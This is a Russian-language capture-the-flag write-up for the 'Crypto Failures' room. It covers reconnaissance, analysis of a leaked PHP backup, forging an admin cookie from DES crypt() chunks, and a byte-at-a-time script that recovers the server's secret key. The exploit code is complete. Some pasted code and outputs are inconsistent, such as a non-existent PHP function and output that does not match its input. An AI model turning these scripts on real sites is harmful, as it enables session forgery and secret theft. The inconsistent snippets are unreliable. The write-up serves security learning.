Crypto Failures
Введение
Сегодня пробежимся по одной интересной комнате, в которой веб-технологии и криптография тесно взаимосвязаны, а время работы итогового эксплоита стало причиной одной веселой истории:D Сегодня препарируем комнату Crypto Failures.
Решение
Заносим IP-адрес машины в /etc/hosts
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:20:47] └─[130] echo '10.10.0.83 crypto.thm' | sudo tee -a /etc/hosts 10.10.0.83 crypto.thm
Сканирование показало классическую ситуацию: открыты порты 22 и 80:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:21:47] └─[130] nmap -A crypto.thm -oN nmap/crypto # Nmap 7.94SVN scan initiated Thu Mar 13 14:45:09 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -T5 -oN ./nmpa/crypto 10.10.0.83 Warning: 10.10.0.83 giving up on port because retransmission cap hit (2). Nmap scan report for crypto.thm (10.10.0.83) Host is up (0.19s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 57:2c:43:78:0c:d3:13:5b:8d:83:df:63:cf:53:61:91 (ECDSA) |_ 256 45:e1:3c:eb:a6:2d:d7:c6:bb:43:24:7e:02:e9:11:39 (ED25519) 80/tcp open http Apache httpd 2.4.59 ((Debian)) |_http-title: Did not follow redirect to / |_http-server-header: Apache/2.4.59 (Debian) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
На веб-интерфейсе сначала получаем куку:
Затем получаем информацию о некоем .bak файлике:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 05:26:43]
└─[0] ffuf -u 'http://crypto.thm/FUZZ.bak' -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://crypto.thm/FUZZ.bak
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.htpasswd [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 186ms]
.htaccess [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 585ms]
.hta [Status: 403, Size: 275, Words: 20, Lines: 10, Duration: 1583ms]
index.php [Status: 200, Size: 1979, Words: 282, Lines: 96, Duration: 394ms]Забираем файл себе и приступаем к его изучению. That's where it becomes intetesting:
<?php
$target_url = "http://crypto.thm/";
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+';
$user_agent = str_repeat("A", 256);
$known_prefix = "guest:" . $user_agent . ":";
$try = substr($known_prefix, -8);
function get_secure_cookie($user_agent) {
global $target_url;
$req = stream_req_create([
"http" => [
"method" => "GET",
"header" =>
"Host: crypto.thm\r\n" .
"User-Agent: $user_agent\r\n" .
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" .
"Accept-Language: en-US,en;q=0.5\r\n" .
"Accept-Encoding: gzip, deflate, br\r\n" .
"Connection: close\r\n" .
"Upgrade-Insecure-Requests: 1\r\n"
]
]);
$response = file_get_contents($target_url, false, $req);
foreach ($http_response_header as $header) {
if (stripos($header, "Set-Cookie: secure_cookie=") !== false) {
preg_match('/secure_cookie=([^;]+)/', $header, $matches);
if (!isset($matches[1])) {
return null;
}
$decoded_cookie = urldecode($matches[1]);
if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) {
die("URL-encoded characters detected in secure_cookie!\n");
}
return $decoded_cookie;
}
}
return null;
}
$found_text = "";
while (true) {
echo "\nCurrent key: {$found_text}\n";
$secure_cookie = get_secure_cookie($user_agent);
$user_agent = str_repeat("A", strlen($user_agent) + 7);
if (!$secure_cookie) {
die("Failed to retrieve secure_cookie!\n");
}
echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n";
$salt = substr($secure_cookie, 0, 2);
$found_char = null;
foreach (str_split($charset) as $char) {
$temp = substr($try, 1) . $char;
print($temp . "\n");
$hashed_test = crypt($temp, $salt);
if (str_contains($secure_cookie, $hashed_test)) {
echo "Found character: $char\n";
$found_text .= $char;
$try = $temp;
echo $try . "\n";
echo $hashed_test . "\n";
break;
}
}
}
?>При первом посещении страницы, как мы помним, сервер заботливо предложил нам куки user=guest для доступа к странице и какую-то secure_cookie:
Set-Cookie: secure_cookie=qq5hn2VBZEMdgqqkB468YMXfp.qqoj2B7OQMgdsqqWi9cv8mJAggqqkl5tVY%2FltFkqq9wt1xPcj5BEqqLjjlsMM1cHQqqXQf8PVifDFsqqTXCTbFFbL52qqK%2FVJW2K1GqkqqkFkWEDB2%2FUcqqmMuIPR1mGoIqq8T7%2Fvk3EW4wqqZiFNGHbRxwIqq0Widqh42bLMqq7IVzir.wQ2UqqZhaTr%2F3mFw.qqx2vu2WhHPz6qqZuPcehu0zegqqGAPfN..4xTQqq7iyKmdDR3O.; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/ Set-Cookie: user=guest; expires=Thu, 13 Mar 2025 08:30:14 GMT; Max-Age=3600; path=/
И в index.php.bak видим алгоритм его генерации. Нам же, по всей видимости, предстоит попасть под админом. Приступим к анализу кода:
<?php
include('config.php');В config.php, по всей видимости, содержатся ключи и секреты, доступа к которым у нас нет. Посмотрим, что сможем сделать без них.
Первой функцией объявляется generate_cookie:
function generate_cookie($user,$ENC_SECRET_KEY) {
$SALT=generatesalt(2);
$secure_cookie_string = $user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;
$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT);
setcookie("secure_cookie",$secure_cookie,time()+3600,'/','',false);
setcookie("user","$user",time()+3600,'/','',false);
}По сути говоря, это main данного кода – именно эта функция отвечает за вызов генерации и назначения куки новым пользователям:
$SALT=generatesalt(2); генерирует соль размером в 2 символа, понять это можно по коду функции generatesalt();
function generatesalt($n) {
$randomString='';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
for ($i = 0; $i < $n; $i++) {
$index = rand(0, strlen($characters) - 1);
$randomString .= $characters[$index];
}$secure_cookie_string составляет строку по принципу user:user_agent:<secret_key>. При этом user берется из присвоенной ранее куки user, а ключ нам неизвестен.
$secure_cookie = make_secure_cookie($secure_cookie_string,$SALT); вызывает функцию make_secure_cookie() c собранной ранее строкой и сгенерированной солью. Код функции:
function make_secure_cookie($text,$SALT) {
$secure_cookie='';
foreach ( str_split($text,8) as $el ) {
$secure_cookie .= cryptstring($el,$SALT);
}Видно, что полученная строка разбивается на чанки по 8 символов, после чего эти чанки вместе с солью передаются в cryptstring():
function cryptstring($what,$SALT){
return crypt($what,$SALT);
}Функция crypt используется для хеширования строки с использованием определённого алгоритма и соли (salt). Она возвращает хешированную строку, которая обычно используется для безопасного хранения паролей.После всех этих процедур строка складывается воедино и отдается пользователю заголовком Set-Cookie.
function verify_cookie($ENC_SECRET_KEY){
$crypted_cookie=$_COOKIE['secure_cookie'];
$user=$_COOKIE['user'];
$string=$user.":".$_SERVER['HTTP_USER_AGENT'].":".$ENC_SECRET_KEY;
$salt=substr($_COOKIE['secure_cookie'],0,2);
if(make_secure_cookie($string,$salt)===$crypted_cookie) {
return true;
} else {
return false;
}
}Извлекаются куки secure_cookie и user, затем с использованием юзер-агента, куки user и enc_secret_key собирается $string, после чего из $string извлекается соль, с использованием этой соли генерируется "валидная" кука и сравнивается с той, которая хранится в системе у пользователя. Таким образом:
1. При посещении страницы назначаются куки user и secure_cookie
2. user по умолчанию – guest, generate_cookie() запускает цепочку действий:
1. Генерируется двухсимвольная соль
2. Формируется строка user:user_agent:<enc_key>
3. Полученная строка разбивается на чанки по 8 символов
4. Каждый чанк шифруется солью в функции cryptstring(), она же crypt()
5. Хешированные чанки конкатенируются и возвращаются в Set-Cookie
3. При валидации куки сервер извлекает из secure_cookie подстроку – соль
4. При помощи извлеченной подстроки и куки user генерируется "валидная" кука, которая затем сравнивается с той, которая хранится у пользователя в session_cookie
Таким образом, генерация "валидной" куки происходит на "фронте" – с использованием подконтрольных нам данных и неизвестного нам секретного ключа.
Для эксплуатации запросим новую secure_cookie и посмотрим, где расположены хешированные чанки:
secure_cookie=iCRBzB77Hs5CIiCn5Awl7w6rFwiCERGwsGetCzIiCk7o1dhvzXFEiCjjU3kvjir66iCqMY9s22hA/siCmjKeKIZ8uW2iCE0IRfzX3s1MiC8UC6cyvBsUUiC.W3XniZbRq2iCbjEnILfizzgiCuspukSJQ616iCZ9nywsbfTtEiC70927kGV93kiCHPE/fjDq0KAiC3GLgwqvJXUIiCtoWhqzJ798EiCIZs9qkvj.uwiCikZDtBKqSwwiCzsjugR4qiFwiCA1SyVNVUReMiCQ3AZa
Мы знаем, что соль – первые два символа. Таким образом можно вычленить все чанки имеющейся куки:
При этом посмотреть на чанки перед хешированием можно при помощи следующего скрипта:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] cat generator.php
<?php
$string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo $el."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15]
└─[0] php generator.php
admin:Mo
zilla/5.
0 (X11;
Linux x8
6_64; rv
:128.0)
Gecko/20
100101 F
irefox/1
28.0:<se
cret_key
>Аналогично для хешированных чанков:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:07]
└─[0] cat generator.php
<?php
$salt = 'iC';
$string = 'guest:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt)."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:23:10]
└─[0] php generator.php
iCRBzB77Hs5CI
iCn5Awl7w6rFw
iCERGwsGetCzI
iCk7o1dhvzXFE
iCjjU3kvjir66
iCqMY9s22hA/s
iCmjKeKIZ8uW2
iCE0IRfzX3s1M
iC8UC6cyvBsUU
iCLXGAf95OnrA
iCKZQ6AfAA.wg
iCdfLie1MKVE2Уязвимость можно увидеть на 4 этапе работы скрипта – первый чанк содержит в себе юзернейм и кусочек юзер-агента, при этом и то, и другое подконтрольно пользователю, таким образом, зная соль, мы можем изменить только первый чанк и оставить все неизвестные части нетронутыми, включая хешированный encryption_secret.
Для эксплуатации первого этапа нам нужно подменить первый чанк на "вредоносный" – содержащий в себе юзернейм админа. Для этого немного отредактируем скрипт:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:22]
└─[0] cat generator.php
<?php
$salt = 'iC';
$string = 'admin:Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0:<secret_key>';
foreach (str_split($string, 8) as $el) {
echo crypt($el, $salt)."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:24:24]
└─[0] php generator.php | head -n 1
iCjrMyPrACzWMИ заменяем первый чанк исходной куки на полученный на предыдущем этапе, а значение куки user меняем на admin:
Теперь, сервер извлечет из куки user значение admin и выполнит проверку с солью iC, а сгенерированная в результате кука ничем не будет отличаться от нашей.
Далее нам предлагают узнать значение секретного ключа, для выполнения этой задачи потребуется вспомнить, как именно работает алгоритм хеширования чанков:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:17:15] └─[0] php generator.php admin:Mo zilla/5. 0 (X11; Linux x8 6_64; rv :128.0) Gecko/20 100101 F irefox/1 28.0:<se cret_key >
Как мы помним, собранная строка разбивается на чанки по 8 символов и в самый первый чанк попадает 2 символа юзер-агента, который нам подконтролен. А что будет, если отправить запрос с пустым юзер-агентом? Модифицируем скрипт:
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:34]
└─[0] cat generator.php
<?php
$salt = 'iC';
$string = 'admin::<secret_key>';
foreach (str_split($string, 8) as $el) {
echo $el."\n";
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:34:36]
└─[0] php generator.php
admin::<
secret_k
ey>Видим, что в первом чанке теперь юзернейм, два двоеточия и последний символ принадлежит неизвестному секретному ключу, что дает нам возможность перебрать всевозможные символы алфавита и сравнить хешированные чанки – совпадение будет означать, что мы нашли нужный символ
Таким образом наш план действий:
- Отправить запрос с пустым юзер-агентом и получить новую куку
- Вычленить из нее первый чанк
- Мы знаем, что в этом чанке хранится юзернейм и один символ секретного ключа
- Локально хешируем чанк admin::<symbol> до тех пор, пока не получим такой же чанк, как в куке
- После получения этого символа, мы целиком заполним первый чанк и следующий символ подобрать не сможем
- Просчитаем паддинг второго чанка так, чтобы снова остался только 1 символ
- Повторить процедуру до получения полного секрета
Шаг 3. Перебор хешей. Первый символ флага – T, поскольку мы получили полное совпадение нашего хеша чанка с исходным
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:44]
└─[0] cat brute.php
<?php
$salt = 'fw';
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
foreach (str_split($characters) as $char) {
$string = "guest::$char";
foreach (str_split($string, 8) as $el) {
echo $el . "::" . crypt($el, $salt) . "\n";
}
}
?>
┌─[collapsz@hideout] - [~/thm/crypto] - [2025-03-13 06:48:48]
└─[0] php brute.php | grep fw1OtzoFC4VJM
guest::T::fw1OtzoFC4VJMУже на этом этапе стало понятно, что перебор такого вручную займет достаточно продолжительное время. Автоматизация и дебаг наше все.
<?php
$target_url = "http://crypto.thm/";
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ}{!@#$%^&*)(_-=+';
$user_agent = str_repeat("A", 256);
$known_prefix = "guest:" . $user_agent . ":";
$test_string = substr($known_prefix, -8);
function get_secure_cookie($user_agent) {
global $target_url;
$context = stream_context_create([
"http" => [
"method" => "GET",
"header" =>
"Host: crypto.thm\r\n" .
"User-Agent: $user_agent\r\n" .
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n" .
"Accept-Language: en-US,en;q=0.5\r\n" .
"Accept-Encoding: gzip, deflate, br\r\n" .
"Connection: close\r\n" .
"Upgrade-Insecure-Requests: 1\r\n"
]
]);
$response = file_get_contents($target_url, false, $context);
foreach ($http_response_header as $header) {
if (stripos($header, "Set-Cookie: secure_cookie=") !== false) {
preg_match('/secure_cookie=([^;]+)/', $header, $matches);
if (!isset($matches[1])) {
return null;
}
$decoded_cookie = urldecode($matches[1]);
if (preg_match('/%[0-9A-Fa-f]{2}/', $decoded_cookie)) {
die("URL-encoded characters detected in secure_cookie!\n");
}
return $decoded_cookie;
}
}
return null;
}
$found_text = "";
while (true) {
echo "\nCurrent key: {$found_text}\n";
$secure_cookie = get_secure_cookie($user_agent);
$user_agent = str_repeat("A", strlen($user_agent) + 7);
if (!$secure_cookie) {
die("Failed to retrieve secure_cookie!\n");
}
echo "Retrieved (Decoded) secure_cookie: $secure_cookie\n";
$salt = substr($secure_cookie, 0, 2);
$found_char = null;
foreach (str_split($charset) as $char) {
$test_string_temp = substr($test_string, 1) . $char;
print($test_string_temp . "\n");
$hashed_test = crypt($test_string_temp, $salt);
if (str_contains($secure_cookie, $hashed_test)) {
echo "Found character: $char\n";
$found_text .= $char;
$test_string = $test_string_temp;
echo $test_string . "\n";
echo $hashed_test . "\n";
break;
}
}
}
?>Подождав несколько минут, успешно сдампим 154-символьный флаг:/
P.S.: я практически уверен, что это можно реализовать проще и в меньшее количество строк кода. Но оно работает!